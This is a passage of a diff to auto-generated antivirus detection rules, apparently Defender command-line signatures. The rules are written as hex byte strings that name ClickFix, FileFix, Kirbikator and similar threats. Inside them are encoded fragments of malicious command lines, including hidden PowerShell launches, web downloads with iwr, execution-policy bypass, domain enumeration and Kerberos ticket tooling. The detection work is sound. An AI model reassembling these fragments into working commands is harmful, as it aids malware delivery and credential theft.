00 2e 00 6a 00 70 00 67 00 20 00 7c 00 20 00 69 00 65 00 78 00 01 00 16 00 2d 00 56 00 65 00 72 00 62 00 20 00 52 00 75 00 6e 00 } //21283 + $a_00_1 = {00 00 d7 5e 00 00 6e 00 6e 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 48 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 16 00 2d 00 22 00 77 00 22 00 20 00 68 00 20 00 2d 00 43 00 4f 00 4d 00 00 00 d7 5f 00 00 02 00 02 00 02 00 21 23 53 4c 46 } //65 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*65) >=101 + +} +rule _InfrastructureShared_27598{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 48 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 16 00 2d 00 22 00 77 00 22 00 20 00 68 00 20 00 2d 00 43 00 } //21283 + $a_00_1 = {00 00 d7 5f 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 44 45 21 4d 54 42 00 01 00 22 00 74 00 78 00 74 00 27 00 20 00 7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 } //79 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*79) >=110 + +} +rule _InfrastructureShared_27599{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 44 45 21 4d 54 42 00 01 00 22 00 74 00 78 00 74 00 27 00 20 00 7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_27600{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 4b 21 4d 54 42 00 64 00 2f 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 80 22 00 90 01 02 22 00 90 01 02 22 00 90 01 02 22 00 90 01 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=100 + +} +rule _InfrastructureShared_27601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 52 65 6e 50 73 45 6e 63 6f 64 65 2e 41 00 01 00 1d 02 20 00 2d 00 65 00 6e 00 63 00 20 00 90 22 80 0b 30 2d 39 41 2d 5a 61 2d 7a 2f 2b 90 00 01 00 19 02 20 00 2d 00 65 00 20 00 90 22 80 0b 30 2d 39 41 2d 5a 61 } //21283 - $a_2b_1 = {00 00 00 d7 61 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 4f 62 66 43 6f 6d 6d 61 6e 64 2e 42 21 69 62 74 00 01 00 3e 02 2f 76 3a 6f 90 02 0a } //31277 + $a_2b_1 = {00 00 00 d7 60 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 46 21 4d 54 } //31277 condition: ((#a_46_0 & 1)*21283+(#a_2b_1 & 1)*31277) >=1 } -rule _InfrastructureShared_26178{ +rule _InfrastructureShared_27602{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 46 21 4d 54 42 00 01 00 24 00 2e 00 74 00 78 00 74 00 27 00 20 00 7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 69 00 } //21283 + $a_00_1 = {20 00 00 00 d7 60 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6d 61 69 6e 45 6e 75 6d 2e 5a 5a 59 21 4d 54 42 00 01 00 18 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 75 00 73 00 65 00 72 00 73 00 01 00 12 00 2f 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 3e 00 00 00 d7 60 00 00 65 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114) >=2 + +} +rule _InfrastructureShared_27603{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6d 61 69 6e 45 6e 75 6d 2e 5a 5a 59 21 4d 54 42 00 01 00 18 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 75 00 73 00 65 00 72 00 73 00 01 00 12 00 2f 00 64 00 6f 00 6d 00 61 00 69 00 } //21283 + $a_00_1 = {3e 00 00 00 d7 60 00 00 65 00 65 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //110 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110) >=2 + +} +rule _InfrastructureShared_27604{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 58 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 64 00 18 00 52 00 65 00 6c 00 61 00 79 00 20 00 50 00 61 00 63 00 } //21283 + $a_00_1 = {74 00 00 00 d7 61 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 4f 62 66 43 6f 6d 6d 61 6e 64 2e 42 21 69 62 74 00 01 00 3e 02 2f 76 3a 6f 90 02 0a 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e 90 02 08 5e } //107 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*107) >=101 + +} +rule _InfrastructureShared_27605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342668,7 +361294,7 @@ rule _InfrastructureShared_26178{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26179{ +rule _InfrastructureShared_27606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342678,7 +361304,7 @@ rule _InfrastructureShared_26179{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26180{ +rule _InfrastructureShared_27607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342688,18 +361314,28 @@ rule _InfrastructureShared_26180{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26181{ +rule _InfrastructureShared_27608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 52 75 6e 73 69 6e 6a 65 63 74 2e 41 00 01 00 1a 00 6d 00 79 00 73 00 69 00 70 00 5f 00 78 00 38 00 36 00 2e 00 64 00 6c 00 6c 00 01 00 12 00 6d 00 79 00 } //21539 - $a_00_1 = {70 00 2e 00 64 00 6c 00 6c 00 00 00 d7 61 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 55 74 69 6c 41 62 75 73 65 2e 42 00 01 00 1a 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 20 00 01 00 08 00 75 00 72 00 6c 00 20 00 01 00 0a 00 70 00 61 00 } //115 + $a_00_1 = {70 00 2e 00 64 00 6c 00 6c 00 00 00 d7 61 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 48 42 21 4d 54 42 00 01 00 10 00 24 00 5f 00 20 00 2d 00 62 00 78 00 6f 00 72 00 01 00 12 00 29 00 2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 08 00 68 00 } //115 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*115) >=1 } -rule _InfrastructureShared_26182{ +rule _InfrastructureShared_27609{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 48 42 21 4d 54 42 00 01 00 10 00 24 00 5f 00 20 00 2d 00 62 00 78 00 6f 00 72 00 01 00 12 00 29 00 2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 08 00 68 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=3 + +} +rule _InfrastructureShared_27610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -342711,7 +361347,7 @@ rule _InfrastructureShared_26182{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1+(#a_61_2 & 1)*0) >=3 } -rule _InfrastructureShared_26183{ +rule _InfrastructureShared_27611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 02 00 21 " @@ -342722,7 +361358,7 @@ rule _InfrastructureShared_26183{ ((#a_6f_0 & 1)*21539+(#a_62_1 & 1)*24913) >=6 } -rule _InfrastructureShared_26184{ +rule _InfrastructureShared_27612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -342732,7 +361368,7 @@ rule _InfrastructureShared_26184{ ((#a_46_0 & 1)*21283) >=11 } -rule _InfrastructureShared_26185{ +rule _InfrastructureShared_27613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -342742,7 +361378,7 @@ rule _InfrastructureShared_26185{ ((#a_46_0 & 1)*21283) >=11 } -rule _InfrastructureShared_26186{ +rule _InfrastructureShared_27614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -342753,7 +361389,17 @@ rule _InfrastructureShared_26186{ ((#a_4c_0 & 1)*21539+(#a_40_1 & 1)*-28672) >=15 } -rule _InfrastructureShared_26187{ +rule _InfrastructureShared_27615{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 4d 21 4d 54 42 00 01 00 32 00 77 00 6d 00 69 00 63 00 20 00 70 00 72 00 6f 00 64 00 75 00 63 00 74 00 20 00 63 00 61 00 6c 00 6c 00 20 00 69 00 6e 00 73 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342763,7 +361409,72 @@ rule _InfrastructureShared_26187{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26188{ +rule _InfrastructureShared_27617{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 4c 46 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 1a 00 2e 00 53 00 70 00 6c 00 69 00 74 00 28 00 27 00 2c 00 } //21283 + $a_00_1 = {3b 00 24 00 00 00 d7 62 00 00 6e 00 6e 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 } //39 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*39) >=2 + +} +rule _InfrastructureShared_27618{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 52 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 2e 00 53 00 70 00 6c 00 69 00 74 00 28 00 27 00 2c 00 } //21283 + $a_00_1 = {3b 00 24 00 00 00 d7 62 00 00 96 00 96 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 } //39 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*39) >=110 + +} +rule _InfrastructureShared_27619{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff96 00 ffffff96 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 52 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 1a 00 2f 00 65 00 70 00 20 00 62 00 79 00 70 00 61 00 73 00 } //21283 + $a_00_1 = {2f 00 65 00 00 00 d7 62 00 00 d2 00 d2 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115) >=150 + +} +rule _InfrastructureShared_27620{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffd2 00 ffffffd2 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 41 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 64 00 0a 00 69 00 77 00 72 00 20 00 24 00 0a 00 0c 00 68 00 69 00 } //21283 + $a_00_1 = {65 00 6e 00 00 00 d7 63 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 43 21 4d 54 42 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 23 00 90 00 01 00 17 02 68 00 74 00 74 00 70 00 90 02 50 2e 00 64 00 6f } //100 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*100) >=210 + +} +rule _InfrastructureShared_27621{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 43 21 4d 54 42 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 23 00 90 00 01 00 17 02 68 00 74 00 74 00 70 00 90 02 50 2e 00 64 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_27622{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6c 6c 65 79 4e 61 70 73 2e 41 21 64 68 61 00 0a 00 1c 00 63 00 3a 00 5c 00 74 00 65 00 6d 00 70 00 63 00 61 00 63 00 68 00 65 00 73 00 5c 00 02 00 08 00 63 00 75 00 72 00 6c 00 02 00 08 } //21283 + $a_00_2 = {00 00 d7 64 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 69 72 62 69 6b 61 74 6f 72 43 6d 64 2e 42 00 01 00 23 02 6b 00 69 00 72 00 62 00 69 00 6b 00 61 00 74 00 6f 00 72 00 90 02 08 20 00 6c 00 73 00 61 00 20 00 90 00 01 00 0c 00 2e 00 6b 00 69 00 72 00 62 00 69 00 00 00 d7 64 00 00 03 00 03 00 01 00 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=10 + +} +rule _InfrastructureShared_27623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -342773,7 +361484,7 @@ rule _InfrastructureShared_26188{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26189{ +rule _InfrastructureShared_27624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " @@ -342783,7 +361494,7 @@ rule _InfrastructureShared_26189{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_26190{ +rule _InfrastructureShared_27625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -342793,7 +361504,31 @@ rule _InfrastructureShared_26190{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_26191{ +rule _InfrastructureShared_27626{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 54 53 00 64 00 06 00 3a 00 2f 00 2f 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 } //21283 + $a_00_1 = {75 00 72 00 6c 00 00 00 d7 65 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 46 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 12 00 68 00 74 00 74 00 70 00 90 00 02 00 50 00 20 00 23 00 01 00 } //8 + $a_00_2 = {70 00 70 00 74 00 78 00 00 00 d7 65 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 69 72 62 69 } //10 + $a_6f_3 = {43 6d 64 2e 41 00 01 00 14 00 6b 00 69 00 72 00 62 00 69 00 6b 00 61 00 74 00 6f 00 72 00 01 00 0c 00 63 00 63 00 61 00 63 00 68 00 65 00 01 00 0c 00 2e 00 6b 00 69 00 72 00 62 00 69 00 00 00 d7 66 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 4a 43 21 4d 54 42 00 01 00 14 00 70 00 } //24939 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*8+(#a_00_2 & 1)*10+(#a_6f_3 & 1)*24939) >=101 + +} +rule _InfrastructureShared_27627{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 46 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 12 00 68 00 74 00 74 00 70 00 90 00 02 00 50 00 20 00 23 00 01 00 0a } //21283 + $a_00_2 = {78 00 00 00 d7 65 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 69 72 62 69 6b 61 74 6f 72 43 6d 64 2e 41 00 01 00 14 00 6b 00 69 00 72 00 62 00 69 00 6b 00 61 00 74 00 6f 00 72 00 01 00 0c 00 63 00 63 00 61 00 63 00 68 00 65 00 01 00 0c 00 2e 00 6b 00 69 00 72 00 62 00 69 00 00 00 d7 66 00 00 03 00 03 } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*112) >=3 + +} +rule _InfrastructureShared_27628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -342804,7 +361539,19 @@ rule _InfrastructureShared_26191{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101) >=3 } -rule _InfrastructureShared_26192{ +rule _InfrastructureShared_27629{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 4a 43 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 10 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 01 00 } //21283 + $a_00_1 = {4a 00 6f 00 69 00 4e 00 00 00 d7 66 00 00 03 00 03 00 04 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4d 65 67 61 7a 6f } //10 + $a_41_2 = {64 68 61 00 01 00 0c 00 2d 00 2d 00 70 00 61 00 74 00 68 00 01 00 08 00 2d 00 2d 00 69 00 64 00 01 00 08 00 2d 00 2d 00 65 00 70 00 02 00 } //25714 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*10+(#a_41_2 & 1)*25714) >=3 + +} +rule _InfrastructureShared_27630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " @@ -342815,7 +361562,7 @@ rule _InfrastructureShared_26192{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*103) >=3 } -rule _InfrastructureShared_26193{ +rule _InfrastructureShared_27631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -342826,7 +361573,29 @@ rule _InfrastructureShared_26193{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*10) >=30 } -rule _InfrastructureShared_26194{ +rule _InfrastructureShared_27632{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 4e 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1e 00 5b 00 73 00 74 00 72 00 69 00 6e 00 67 00 5d 00 3a 00 } //21283 + $a_00_1 = {6f 00 69 00 6e 00 28 00 00 00 d7 66 00 00 6e 00 6e 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 58 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1e 00 2d 00 6a 00 6f 00 69 00 6e 00 28 00 24 00 65 00 6e 00 76 00 3a 00 } //58 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*58) >=110 + +} +rule _InfrastructureShared_27633{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 58 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1e 00 2d 00 6a 00 6f 00 69 00 6e 00 28 00 24 00 65 00 6e 00 } //21283 + $a_00_1 = {54 00 45 00 4d 00 50 00 00 00 d7 67 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 53 75 73 70 45 78 65 63 46 72 6f 6d 57 69 6e 44 69 72 2e 42 00 01 00 40 02 2f 63 20 70 69 6e 67 } //118 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*118) >=110 + +} +rule _InfrastructureShared_27634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342836,7 +361605,7 @@ rule _InfrastructureShared_26194{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26195{ +rule _InfrastructureShared_27635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -342847,7 +361616,7 @@ rule _InfrastructureShared_26195{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=30 } -rule _InfrastructureShared_26196{ +rule _InfrastructureShared_27636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342857,20 +361626,63 @@ rule _InfrastructureShared_26196{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26197{ +rule _InfrastructureShared_27637{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 50 43 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 20 00 28 00 5b 00 73 00 74 00 72 00 69 00 6e 00 67 00 5d 00 } //21283 + $a_00_1 = {4a 00 6f 00 69 00 6e 00 28 00 00 00 d7 68 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6d 70 45 6e 75 6d 2e 5a 5a 42 21 4d 54 42 00 } //58 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*58) >=2 + +} +rule _InfrastructureShared_27638{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6d 70 45 6e 75 6d 2e 5a 5a 42 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 20 00 47 00 65 00 74 00 2d 00 43 00 6f 00 6d 00 70 00 75 00 } //21283 + $a_00_1 = {72 00 49 00 6e 00 66 00 6f 00 00 00 d7 68 00 00 04 00 04 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 61 6e 67 6c 65 64 42 6f 72 65 2e 43 21 64 68 61 00 03 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 23 02 2e 00 64 00 6c 00 6c 00 2c 00 90 02 02 6d 00 61 00 5f } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116) >=2 + +} +rule _InfrastructureShared_27639{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 61 6e 67 6c 65 64 42 6f 72 65 2e 43 21 64 68 61 00 03 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 23 02 2e 00 64 00 6c 00 6c 00 2c 00 90 02 02 6d 00 61 00 5f 00 65 00 } //21283 + $a_00_1 = {69 00 6e 00 65 00 5f 00 90 00 00 00 d7 68 00 00 04 00 04 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 4c 6f 61 64 65 72 00 01 00 18 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 01 00 04 00 23 00 31 00 01 00 08 00 2e 00 64 00 61 00 74 00 01 } //110 